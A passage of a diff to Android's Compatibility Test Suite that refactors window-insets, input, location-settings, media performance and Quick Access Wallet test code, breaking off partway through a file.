             // In tests we rely on the activity's content filling the entire window
             getWindow().setDecorFitsSystemWindows(false);
@@ -797,53 +809,41 @@
             setContentView(view);
         }
 
-        private Rect getActivityFullyVisibleRegion() {
+        private Rect getActivityTestableRegion() {
             final Rect activityBounds = getWindowManager().getCurrentWindowMetrics().getBounds();
             final Insets insets = mInsets.getInsets(WindowInsets.Type.systemBars()
                     | WindowInsets.Type.displayCutout());
             activityBounds.inset(insets);
-
+            cropRoundedCornersRegions(activityBounds);
             return new Rect(activityBounds);
         }
 
-        private ArrayList<Rect> getRoundedCornersRegions() {
-            RoundedCorner topRightCorner = mInsets.getRoundedCorner(POSITION_TOP_RIGHT);
+        private void cropRoundedCornersRegions(Rect activityBounds) {
             RoundedCorner topLeftCorner = mInsets.getRoundedCorner(POSITION_TOP_LEFT);
             RoundedCorner bottomRightCorner = mInsets.getRoundedCorner(POSITION_BOTTOM_RIGHT);
-            RoundedCorner bottomLeftCorner = mInsets.getRoundedCorner(POSITION_BOTTOM_LEFT);
 
-            final ArrayList<Rect> roundedCornersRects = new ArrayList<>();
+            final Rect innerRectangle = new Rect(activityBounds);
+            // There will be no testable region if the radius of rounded corner equals to the
+            // center of screen on a circle shape display. So instead of ignore rounded corner
+            // areas, consider the internal rectangle of rounded corner region as testable region.
+            // Where radius * cosine(45) == the projected length to x and y direction.
+            final double projectionConst = Math.cos(45);
 
-            if (topRightCorner != null) {
-                final Point center = topRightCorner.getCenter();
-                final int radius = topRightCorner.getRadius();
-                roundedCornersRects.add(
-                        new Rect(center.x, center.y - radius,
-                                center.x + radius, center.y));
-            }
             if (topLeftCorner != null) {
                 final Point center = topLeftCorner.getCenter();
                 final int radius = topLeftCorner.getRadius();
-                roundedCornersRects.add(
-                        new Rect(center.x - radius, center.y - radius,
-                                center.x, center.y));
+                final double projectLength = Math.ceil(radius * projectionConst);
+                innerRectangle.left = center.x - (int) projectLength;
+                innerRectangle.top = center.y - (int) projectLength;
             }
             if (bottomRightCorner != null) {
                 final Point center = bottomRightCorner.getCenter();
                 final int radius = bottomRightCorner.getRadius();
-                roundedCornersRects.add(
-                        new Rect(center.x, center.y,
-                                center.x + radius, center.y + radius));
+                final double projectLength = Math.ceil(radius * projectionConst);
+                innerRectangle.right = center.x + (int) projectLength;
+                innerRectangle.bottom = center.y + (int) projectLength;
             }
-            if (bottomLeftCorner != null) {
-                final Point center = bottomLeftCorner.getCenter();
-                final int radius = bottomLeftCorner.getRadius();
-                roundedCornersRects.add(
-                        new Rect(center.x - radius, center.y,
-                                center.x, center.y + radius));
-            }
-
-            return roundedCornersRects;
+            activityBounds.setIntersect(activityBounds, innerRectangle);
         }
 
         public void startActivity(ActivityOptions activityOptions, Class<?> klass) {
@@ -952,6 +952,8 @@
             super.onCreate(savedInstanceState);
             setContentView(R.layout.vertical_color_split);
 
+            getWindow().getAttributes().layoutInDisplayCutoutMode =
+                    LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
             // Ensure the activity is edge-to-edge
             // In tests we rely on the activity's content filling the entire window
             getWindow().setDecorFitsSystemWindows(false);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 644c0df..a6b4029 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -61,6 +61,7 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.graphics.Insets;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -310,6 +311,8 @@
         // Assume we have the bars and they can be visible.
         final int types = statusBars();
         assumeTrue(rootView.getRootWindowInsets().isVisible(types));
+        // Get insets before hiding them.
+        final Insets insets = rootView.getRootWindowInsets().getInsets(types);
 
         rootView.getWindowInsetsController().setSystemBarsBehavior(BEHAVIOR_DEFAULT);
 
@@ -323,8 +326,8 @@
         // dragFromTopToCenter might expand notification shade.
         SystemClock.sleep(TIMEOUT_UPDATING_INPUT_WINDOW);
 
-        // Swiping from top of display can show bars.
-        dragFromTopToCenter(rootView);
+        // Swiping from edge of screen can show bars. Here edge can be top, bottom, right & left.
+        swipeFromEdgeOfScreen(insets, rootView);
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
     }
 
@@ -501,6 +504,8 @@
         // Assume we have the bars and they can be visible.
         final int types = statusBars();
         assumeTrue(rootView.getRootWindowInsets().isVisible(types));
+        // Get insets before hiding them.
+        final Insets insets = rootView.getRootWindowInsets().getInsets(types);
 
         final int targetFlags = SYSTEM_UI_FLAG_IMMERSIVE | SYSTEM_UI_FLAG_FULLSCREEN;
 
@@ -519,7 +524,8 @@
 
         // Swiping from top of display can show bars.
         ANIMATION_CALLBACK.reset();
-        dragFromTopToCenter(rootView);
+        // Swiping from edge of screen can show bars. Here edge can be top, bottom, right & left.
+        swipeFromEdgeOfScreen(insets, rootView);
         ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types)
             && rootView.getSystemUiVisibility() != targetFlags);
@@ -539,7 +545,8 @@
 
         // Swiping from top of display can show bars.
         ANIMATION_CALLBACK.reset();
-        dragFromTopToCenter(rootView);
+        // Swiping from edge of screen can show bars. Here edge can be top, bottom, right & left.
+        swipeFromEdgeOfScreen(insets, rootView);
         ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
 
@@ -858,11 +865,35 @@
         dragOnDisplay(x, y, x, y);
     }
 
+    private void swipeFromEdgeOfScreen(Insets insets, View view) {
+        // Using the insets we determine where the insets are positioned.
+        // Based on insets location, swipe is done in the respective direction.
+        if (insets.right > 0) {
+            dragFromRightToCenter(view);
+        } else if (insets.bottom > 0) {
+            dragFromBottomToCenter(view);
+        } else if (insets.left > 0) {
+            dragFromLeftToCenter(view);
+        } else {
+            dragFromTopToCenter(view);
+        }
+    }
+
     private void dragFromTopToCenter(View view) {
         dragOnDisplay(view.getWidth() / 2f, 0 /* downY */,
                 view.getWidth() / 2f, view.getHeight() / 2f);
     }
 
+    private void dragFromRightToCenter(View view) {
+        dragOnDisplay(view.getWidth() -1, view.getHeight() / 2f,
+                view.getWidth() / 2f, view.getHeight() / 2f);
+    }
+
+    private void dragFromBottomToCenter(View view) {
+        dragOnDisplay(view.getWidth() / 2f, view.getHeight() -1,
+                view.getWidth() / 2f, view.getHeight() / 2f);
+    }
+
     private void dragFromLeftToCenter(View view) {
         dragOnDisplay(0 /* downX */, view.getHeight() / 2f,
                 view.getWidth() / 2f, view.getHeight() / 2f);
diff --git a/tests/input/AndroidManifest.xml b/tests/input/AndroidManifest.xml
index b2ffd77..a2b70cd 100644
--- a/tests/input/AndroidManifest.xml
+++ b/tests/input/AndroidManifest.xml
@@ -40,9 +40,12 @@
                   android:turnScreenOn="true"
                   android:exported="true">
         </activity>
+        <!-- Disable onBackInvokedCallback to allow us to make assertions about
+          the app receiving KEYCODE_BACK. -->
         <activity android:name="android.input.cts.CaptureEventActivity"
                   android:label="Capture events"
                   android:configChanges="touchscreen|uiMode|orientation|screenSize|screenLayout|keyboardHidden|uiMode|navigation|keyboard|density|fontScale|layoutDirection|locale|mcc|mnc|smallestScreenSize"
+                  android:enableOnBackInvokedCallback="false"
                   android:turnScreenOn="true"
                   android:exported="true">
         </activity>
diff --git a/tests/input/src/android/input/cts/BackKeyShortcutsTest.kt b/tests/input/src/android/input/cts/BackKeyShortcutsTest.kt
index 7f7eac5..2b5581c 100644
--- a/tests/input/src/android/input/cts/BackKeyShortcutsTest.kt
+++ b/tests/input/src/android/input/cts/BackKeyShortcutsTest.kt
@@ -93,25 +93,20 @@
 
     @Test
     fun testBackKeyMetaShortcuts() {
-        val keyboardDevice = UinputDevice.create(
+        UinputDevice.create(
                 instrumentation, R.raw.test_keyboard_register,
                 InputDevice.SOURCE_KEYBOARD
-        )
+        ).use { keyboardDevice ->
+            activity.assertNoEvents()
 
-        // Wait for device to be added
-        PollingCheck.waitFor { inputManager.getInputDevice(keyboardDevice.deviceId) != null }
-        activity.assertNoEvents()
+            for (scanCode in intArrayOf(KEY_BACKSPACE, KEY_LEFT)) {
+                injectKeyDown(keyboardDevice, KEY_LEFTMETA)
+                injectKeyDown(keyboardDevice, scanCode)
+                injectKeyUp(keyboardDevice, scanCode)
+                injectKeyUp(keyboardDevice, KEY_LEFTMETA)
 
-        for (scanCode in intArrayOf(KEY_BACKSPACE, KEY_LEFT)) {
-            injectKeyDown(keyboardDevice, KEY_LEFTMETA)
-            injectKeyDown(keyboardDevice, scanCode)
-            injectKeyUp(keyboardDevice, scanCode)
-            injectKeyUp(keyboardDevice, KEY_LEFTMETA)
-
-            assertReceivedEventsCorrectlyMapped(2, KeyEvent.KEYCODE_BACK)
+                assertReceivedEventsCorrectlyMapped(2, KeyEvent.KEYCODE_BACK)
+            }
         }
-
-        // Remove the device
-        keyboardDevice.close()
     }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index ed8cdad..299d5c4 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -27,34 +27,33 @@
 import android.os.HandlerThread;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
-import android.support.test.uiautomator.UiSelector;
-import android.support.test.uiautomator.Until;
 import android.test.AndroidTestCase;
 
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.Direction;
+import androidx.test.uiautomator.StaleObjectException;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
 
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
-/**
- * Tests if system settings app provides scanning settings.
- */
+/** Tests if system settings app provides scanning settings. */
 @AppModeFull(reason = "Test cases don't apply for Instant apps")
 public class ScanningSettingsTest extends AndroidTestCase {
     private static final String TAG = "ScanningSettingsTest";
 
-    private static final int TIMEOUT = 8_000;  // 8 seconds
+    private static final int TIMEOUT = 300_000; // 5 minutes
+    private static final int POLLING_INTERVAL_MILLIS = 1000; // 1 seconds.
     private static final String SETTINGS_PACKAGE = "com.android.settings";
 
+    private static final String LOCATION_SERVICES_PREFERENCE_TITLE_RES =
+            "location_services_preference_title";
     private static final String WIFI_SCANNING_TITLE_RES =
             "location_scanning_wifi_always_scanning_title";
     private static final String BLUETOOTH_SCANNING_TITLE_RES =
@@ -81,14 +80,18 @@
         mPackageManager = mContext.getPackageManager();
         final Intent launcherIntent = new Intent(Intent.ACTION_MAIN);
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
-        mLauncherPackage = mPackageManager.resolveActivity(launcherIntent,
-                PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+        mLauncherPackage =
+                mPackageManager.resolveActivity(launcherIntent, PackageManager.MATCH_DEFAULT_ONLY)
+                        .activityInfo
+                        .packageName;
     }
 
     @CddTest(requirement = "7.4.2/C-2-1")
     public void testWifiScanningSettings() throws Exception {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()
-                || FeatureUtil.isWatch() || FeatureUtil.isArc()) {
+        if (FeatureUtil.isTV()
+                || FeatureUtil.isAutomotive()
+                || FeatureUtil.isWatch()
+                || FeatureUtil.isArc()) {
             return;
         }
         launchLocationServicesSettings();
@@ -107,36 +110,32 @@
         PollingCheck.check(
                 "Scan Always Available wasn't toggled from " + checked + " to " + !checked,
                 TIMEOUT,
-                () -> !checked == wifiManager.isScanAlwaysAvailable()
-        );
+                () -> !checked == wifiManager.isScanAlwaysAvailable());
 
         // Click the preference again to toggle the setting back.
         pref.click();
         PollingCheck.check(
                 "Scan Always Available wasn't toggled from " + !checked + " to " + checked,
                 TIMEOUT,
-                () -> checked == wifiManager.isScanAlwaysAvailable()
-        );
+                () -> checked == wifiManager.isScanAlwaysAvailable());
     }
 
     @CddTest(requirement = "7.4.3/C-4-1")
     public void testBleScanningSettings() throws PackageManager.NameNotFoundException {
-        if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()
-                || FeatureUtil.isWatch() || FeatureUtil.isArc()) {
+        if (FeatureUtil.isTV()
+                || FeatureUtil.isAutomotive()
+                || FeatureUtil.isWatch()
+                || FeatureUtil.isArc()) {
             return;
         }
         launchLocationServicesSettings();
         launchScanningSettingsFragment(BLUETOOTH_SCANNING_TITLE_RES);
 
-        toggleSettingAndVerify(BLUETOOTH_SCANNING_TITLE_RES,
-                Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
+        toggleSettingAndVerify(
+                BLUETOOTH_SCANNING_TITLE_RES, Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE);
     }
 
     private void launchLocationServicesSettings() {
-        // Start from the home screen
-        mDevice.pressHome();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
         final Intent intent = new Intent(Settings.ACTION_LOCATION_SCANNING_SETTINGS);
         // Clear out any previous instances
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -149,42 +148,68 @@
     private void launchScanningSettingsFragment(String name)
             throws PackageManager.NameNotFoundException {
         final Resources res = mPackageManager.getResourcesForApplication(SETTINGS_PACKAGE);
-        int resId = res.getIdentifier(name, "string", SETTINGS_PACKAGE);
-        UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
-        try {
-            uiScrollable.scrollTextIntoView(res.getString(resId));
-        } catch (UiObjectNotFoundException e) {
-            // Scrolling can fail if the UI is not scrollable
+        int resIdMenu = res.getIdentifier(name, "string", SETTINGS_PACKAGE);
+        int resIdTitle =
+                res.getIdentifier(
+                        LOCATION_SERVICES_PREFERENCE_TITLE_RES, "string", SETTINGS_PACKAGE);
+        UiObject2 pref = mDevice.findObject(By.text(res.getString(resIdMenu)));
+        while (pref == null) {
+            // Scroll to preference if the UI is scrollable
+            UiObject2 scrollable =
+                    mDevice.findObject(
+                            By.scrollable(true).hasDescendant(By.desc(res.getString(resIdTitle))));
+            if (scrollable != null) {
+                try {
+                    pref =
+                            scrollable.scrollUntil(
+                                    Direction.DOWN,
+                                    Until.findObject(By.text(res.getString(resIdMenu))));
+                } catch (StaleObjectException exception) {
+                    // Ignore
+                }
+            }
+            if (pref == null) {
+                pref = mDevice.findObject(By.text(res.getString(resIdMenu)));
+            }
         }
 
-        // Wait for the preference to appear
-        mDevice.wait(Until.hasObject(By.text(res.getString(resId))), TIMEOUT);
-
-        UiObject2 pref = mDevice.findObject(By.text(res.getString(resId)));
-        // Click the preference to show the Scanning fragment
-        pref.click();
-
-        // Wait for the Scanning fragment to appear
-        mDevice.wait(Until.hasObject(By.pkg(SETTINGS_PACKAGE).depth(1)), TIMEOUT);
+        // Click the preference to show the Scanning fragment. The preference could be unclickable
+        // initially. So keep retrying until it's finally clicked.
+        //
+        // The following code:
+        // ```
+        //   pref.wait(Until.clickable(true), TIMEOUT);
+        // ```
+        // couldn't detect the clickable state of the object unfortunately. We still need to do the
+        // check-and-retry hack.
+        do {
+            try {
+                pref.click();
+            } catch (StaleObjectException exception) {
+                // Ignore
+            }
+        } while (!mDevice.wait(
+                Until.hasObject(By.res("com.android.settings:id/settingslib_main_switch_bar")),
+                POLLING_INTERVAL_MILLIS));
     }
 
-    private void clickAndWaitForSettingChange(UiObject2 pref, ContentResolver resolver,
-            String settingKey) {
+    private void clickAndWaitForSettingChange(
+            UiObject2 pref, ContentResolver resolver, String settingKey) {
         final CountDownLatch latch = new CountDownLatch(1);
         final HandlerThread handlerThread = new HandlerThread(TAG);
         handlerThread.start();
-        final ContentObserver observer = new ContentObserver(
-                new Handler(handlerThread.getLooper())) {
-            @Override
-            public void onChange(boolean selfChange) {
-                super.onChange(selfChange);
-                latch.countDown();
-            }
-        };
+        final ContentObserver observer =
+                new ContentObserver(new Handler(handlerThread.getLooper())) {
+                    @Override
+                    public void onChange(boolean selfChange) {
+                        super.onChange(selfChange);
+                        latch.countDown();
+                    }
+                };
         resolver.registerContentObserver(Settings.Global.getUriFor(settingKey), false, observer);
         pref.click();
         try {
-            latch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+            latch.await();
         } catch (InterruptedException e) {
             e.printStackTrace();
         }
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index 996ac26..57f4d26 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -1596,14 +1596,9 @@
                     supported);
         }
 
-        public void setFrontPreviewStabilizationSupported(boolean supported) {
-            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED,
-                    supported);
-        }
-
         /**
          * [2.2.7.2/7.5/H-1-12] MUST support CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION
-         * for both primary front and primary back camera.
+         * for the primary back camera.
          */
         public static PreviewStabilizationRequirement createPreviewStabilizationReq() {
             RequiredMeasurement<Boolean> rearRequirement = RequiredMeasurement
@@ -1613,16 +1608,9 @@
                     .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
                     .addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
                     .build();
-            RequiredMeasurement<Boolean> frontRequirement = RequiredMeasurement
-                    .<Boolean>builder()
-                    .setId(RequirementConstants.FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED)
-                    .setPredicate(RequirementConstants.BOOLEAN_EQ)
-                    .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
-                    .addRequiredValue(Build.VERSION_CODES.UPSIDE_DOWN_CAKE, true)
-                    .build();
 
             return new PreviewStabilizationRequirement(RequirementConstants.R7_5__H_1_12,
-                    rearRequirement, frontRequirement);
+                    rearRequirement);
         }
     }
 
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index f675520..6c3e99a 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -129,8 +129,6 @@
     public static final String FRONT_CAMERA_LATENCY = "front_camera_latency";
     public static final String FRONT_CAMERA_LOGICAL_MULTI_CAMERA_REQ_MET =
             "front_camera_logical_multi_camera_req_met";
-    public static final String FRONT_CAMERA_PREVIEW_STABILIZATION_SUPPORTED =
-            "front_camera_preview_stabilization_supported";
     public static final String FRONT_CAMERA_STREAM_USECASE_SUPPORTED =
             "front_camera_stream_usecase_supported";
     public static final String FRONT_CAMERA_TIMESTAMP_SOURCE =
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/QuickAccessWalletDelegateTargetActivityService.java b/tests/quickaccesswallet/src/android/quickaccesswallet/QuickAccessWalletDelegateTargetActivityService.java
index aa6ea95..0fa66bd 100644
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/QuickAccessWalletDelegateTargetActivityService.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/QuickAccessWalletDelegateTargetActivityService.java
@@ -21,10 +21,8 @@
 
 import androidx.annotation.Nullable;
 
-/**
- * Extends {@link TestQuickAccessWalletService} to allow for a different manifest configuration.
- */
-public class QuickAccessWalletDelegateTargetActivityService extends TestQuickAccessWalletService {
+public class QuickAccessWalletDelegateTargetActivityService extends
+        TestBaseQuickAccessWalletService {
 
     @Nullable
     @Override
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/TestBaseQuickAccessWalletService.java b/tests/quickaccesswallet/src/android/quickaccesswallet/TestBaseQuickAccessWalletService.java
new file mode 100644
index 0000000..c4e7947
--- /dev/null
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/TestBaseQuickAccessWalletService.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.quickaccesswallet;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+import android.service.quickaccesswallet.GetWalletCardsCallback;
+import android.service.quickaccesswallet.GetWalletCardsError;
+import android.service.quickaccesswallet.GetWalletCardsRequest;
+import android.service.quickaccesswallet.GetWalletCardsResponse;
+import android.service.quickaccesswallet.QuickAccessWalletService;
+import android.service.quickaccesswallet.SelectWalletCardRequest;
+import android.service.quickaccesswallet.WalletCard;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Extends {@link QuickAccessWalletService} to allow for a different manifest configuration.
+ */
+public class TestBaseQuickAccessWalletService extends QuickAccessWalletService{
+    private static final String TAG = "QAWalletServiceBase";
+
+    private static GetWalletCardsError sWalletCardsError;
+    private static GetWalletCardsResponse sWalletCardsResponse;
+    private static boolean sWalletDismissed;
+    private static List<SelectWalletCardRequest> sSelectWalletCardRequests = new ArrayList<>();
+    private static CountDownLatch sRequestCountDownLatch = new CountDownLatch(0);
+    private static CountDownLatch sBindCounter = new CountDownLatch(0);
+    private static CountDownLatch sUnbindCounter = new CountDownLatch(0);
+
+    public static void resetStaticFields() {
+        sWalletCardsError = null;
+        sWalletCardsResponse = null;
+        sWalletDismissed = false;
+        sSelectWalletCardRequests = new ArrayList<>();
+        sRequestCountDownLatch = new CountDownLatch(0);
+        sBindCounter = new CountDownLatch(0);
+        sUnbindCounter = new CountDownLatch(0);
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(@NonNull Intent intent) {
+        sBindCounter.countDown();
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sUnbindCounter.countDown();
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onWalletCardsRequested(
+            GetWalletCardsRequest request,
+            GetWalletCardsCallback callback) {
+        Log.i(TAG, "onWalletCardsRequested");
+        GetWalletCardsError error = sWalletCardsError;
+        if (error != null) {
+            callback.onFailure(error);
+            return;
+        }
+        GetWalletCardsResponse response = sWalletCardsResponse;
+        if (response == null) {
+            Bitmap bitmap = Bitmap.createBitmap(
+                    request.getCardWidthPx(), request.getCardHeightPx(), Bitmap.Config.ARGB_8888);
+            Icon cardImage = Icon.createWithBitmap(bitmap.copy(Bitmap.Config.HARDWARE, false));
+            Intent intent = new Intent(this, QuickAccessWalletActivity.class);
+            PendingIntent pendingIntent =
+                    PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_IMMUTABLE);
+            WalletCard walletCard = new WalletCard.Builder("card1", cardImage, "Card 1",
+                    pendingIntent).build();
+            List<WalletCard> walletCards = Collections.singletonList(walletCard);
+            response = new GetWalletCardsResponse(walletCards, 0);
+        }
+        callback.onSuccess(response);
+    }
+
+    @Override
+    public void onWalletCardSelected(SelectWalletCardRequest request) {
+        Log.i(TAG, "onWalletCardSelected");
+        sSelectWalletCardRequests.add(request);
+        sRequestCountDownLatch.countDown();
+    }
+
+    @Override
+    public void onWalletDismissed() {
+        Log.i(TAG, "onWalletDismissed");
+        sWalletDismissed = true;
+        sRequestCountDownLatch.countDown();
+    }
+
+    public static boolean isWalletDismissed() {
+        return sWalletDismissed;
+    }
+
+    public static void setWalletCardsResponse(GetWalletCardsResponse response) {
+        sWalletCardsResponse = response;
+    }
+
+    public static void setWalletCardsError(GetWalletCardsError error) {
+        sWalletCardsError = error;
+    }
+
+    public static List<SelectWalletCardRequest> getSelectRequests() {
+        return new ArrayList<>(sSelectWalletCardRequests);
+    }
+
+    public static void setExpectedRequestCount(int countdown) {
+        sRequestCountDownLatch = new CountDownLatch(countdown);
+    }
+
+    public static void awaitRequests(long timeout, TimeUnit timeUnit) throws InterruptedException {
+        sRequestCountDownLatch.await(timeout, timeUnit);
+    }
+
+    public static void setExpectedBindCount(int count) {
+        sBindCounter = new CountDownLatch(count);
+    }
+
+    public static void awaitBinding(long timeout, TimeUnit unit) throws InterruptedException {
+        sBindCounter.await(timeout, unit);
+    }
+
+    public static void setExpectedUnbindCount(int count) {
+        sUnbindCounter = new CountDownLatch(count);
+    }
+
+    public static void awaitUnbinding(long timeout, TimeUnit unit) throws InterruptedException {
+        sUnbindCounter.await(timeout, unit);
+    }
+}
\ No newline at end of file
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/TestQuickAccessWalletService.java b/tests/quickaccesswallet/src/android/quickaccesswallet/TestQuickAccessWalletService.java
index 05c6a38..3a6fe46 100644
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/TestQuickAccessWalletService.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/TestQuickAccessWalletService.java
@@ -16,159 +16,37 @@
 
 package android.quickaccesswallet;
 
-import android.app.PendingIntent;
 import android.content.Intent;
-import android.graphics.Bitmap;
-import android.graphics.drawable.Icon;
 import android.os.IBinder;
-import android.service.quickaccesswallet.GetWalletCardsCallback;
-import android.service.quickaccesswallet.GetWalletCardsError;
-import android.service.quickaccesswallet.GetWalletCardsRequest;
-import android.service.quickaccesswallet.GetWalletCardsResponse;
-import android.service.quickaccesswallet.QuickAccessWalletService;
-import android.service.quickaccesswallet.SelectWalletCardRequest;
-import android.service.quickaccesswallet.WalletCard;
 import android.service.quickaccesswallet.WalletServiceEvent;
-import android.util.Log;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
 import java.lang.ref.WeakReference;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
-public class TestQuickAccessWalletService extends QuickAccessWalletService {
+public class TestQuickAccessWalletService extends TestBaseQuickAccessWalletService {
 
-    private static final String TAG = "TestQAWalletSvc";
-    private static GetWalletCardsResponse sWalletCardsResponse;
-    private static GetWalletCardsError sWalletCardsError;
-    private static List<SelectWalletCardRequest> sSelectWalletCardRequests = new ArrayList<>();
-    private static boolean sWalletDismissed;
     private static WeakReference<TestQuickAccessWalletService> sServiceRef =
             new WeakReference<>(null);
-    private static CountDownLatch sRequestCountDownLatch = new CountDownLatch(0);
-    private static CountDownLatch sBindCounter = new CountDownLatch(0);
-    private static CountDownLatch sUnbindCounter = new CountDownLatch(0);
-
-    public static void resetStaticFields() {
-        sWalletCardsResponse = null;
-        sWalletCardsError = null;
-        sSelectWalletCardRequests = new ArrayList<>();
-        sWalletDismissed = false;
-        sRequestCountDownLatch = new CountDownLatch(0);
-        sBindCounter = new CountDownLatch(0);
-        sUnbindCounter = new CountDownLatch(0);
-        sServiceRef.clear();
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        sServiceRef = new WeakReference<>(this);
-    }
 
     @Nullable
     @Override
     public IBinder onBind(@NonNull Intent intent) {
-        sBindCounter.countDown();
         sServiceRef = new WeakReference<>(this);
         return super.onBind(intent);
     }
 
     @Override
     public boolean onUnbind(Intent intent) {
-        sUnbindCounter.countDown();
+        sServiceRef.clear();
         return super.onUnbind(intent);
     }
 
-    @Override
-    public void onWalletCardsRequested(
-            GetWalletCardsRequest request,
-            GetWalletCardsCallback callback) {
-        Log.i(TAG, "onWalletCardsRequested");
-        GetWalletCardsError error = sWalletCardsError;
-        if (error != null) {
-            callback.onFailure(error);
-            return;
-        }
-        GetWalletCardsResponse response = sWalletCardsResponse;
-        if (response == null) {
-            Bitmap bitmap = Bitmap.createBitmap(
-                    request.getCardWidthPx(), request.getCardHeightPx(), Bitmap.Config.ARGB_8888);
-            Icon cardImage = Icon.createWithBitmap(bitmap.copy(Bitmap.Config.HARDWARE, false));
-            Intent intent = new Intent(this, QuickAccessWalletActivity.class);
-            PendingIntent pendingIntent =
-                    PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_IMMUTABLE);
-            WalletCard walletCard = new WalletCard.Builder("card1", cardImage, "Card 1",
-                    pendingIntent).build();
-            List<WalletCard> walletCards = Collections.singletonList(walletCard);
-            response = new GetWalletCardsResponse(walletCards, 0);
-        }
-        callback.onSuccess(response);
-    }
-
-    @Override
-    public void onWalletCardSelected(SelectWalletCardRequest request) {
-        Log.i(TAG, "onWalletCardSelected");
-        sSelectWalletCardRequests.add(request);
-        sRequestCountDownLatch.countDown();
-    }
-
-    @Override
-    public void onWalletDismissed() {
